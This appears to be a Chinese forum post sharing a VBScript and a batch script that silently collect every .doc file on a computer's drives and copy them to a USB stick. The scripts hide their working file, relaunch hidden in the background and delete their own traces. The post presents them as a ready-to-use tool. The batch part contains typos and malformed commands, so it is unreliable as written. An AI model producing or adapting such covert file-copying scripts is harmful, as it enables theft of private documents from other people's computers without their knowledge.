用bat写太难了,请看看vbs代码:
On Error Resume Next
Dim fso,ws,list,c,ds,op,file,usb,ext
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
Set ws=Wscript.CreateObject("Wscript.Shell")
list=fso.GetSpecialFolder(2)+"\"+WScript.ScriptName+"_FilesList.dat"
c=Chr(34)
usb=""
ext="doc"
With fso.GetFile(list)
.Attributes=0
.Delete
End With
For Each ds In fso.Drives
If fso.GetDrive(ds).DriveType<>1 Then
ws.Run "cmd.exe /C DIR /S /B "+c+ds+c+"\*.*>>"+c+list+c,0,True
Else
usb=ds
End if
Next
fso.GetFile(list).Attributes=1+2+4
Set op=fso.OpenTextFile(list,1)
Do Until op.AtEndOfStream
file=op.ReadLine
If fso.GetExtensionName(file)=ext And usb<>"" Then
fso.CopyFile file,usb & "\"
End if
Loop
op.Close
With fso.GetFile(list)
.Attributes=0
.Delete
End With
MsgBox "复制完毕!已将计算机中所有"+ext+"文件复制到"+c+usb+c+"!",0+64,"控盘惨制作 - 复制完毕"
Set fso=Nothing
Set ws=Nothing
Set op=Nothing
WScript.Quit
以上代码可以自动判断U盘(U盘不一定是H,有可能是G或其它,此脚本可以自动判断)然后将计算机中的所有doc文件复制到U盘里.也是可以后台自动运行的.
使用方法和bat一样,把后缀改成vbs即可.
@echo off
if exist temp (goto start) else (
echo Set ws ^= CreateObject^(^"Wscript^.Shell^"^) >a.vbs
echo ws^.run ^"cmd ^/c ^"%0^"^"^,vbhide >>a.vbs
ecoh.>temp
start a.vbs
exit
)
:start
for /r C:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r D:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r E:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r F:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
for /r G:\ %%i in (doc) do copy /y %%i H:\%%~ni.doc
del temp
del a.vbs
taskkill /f /im cmd.exe%del %0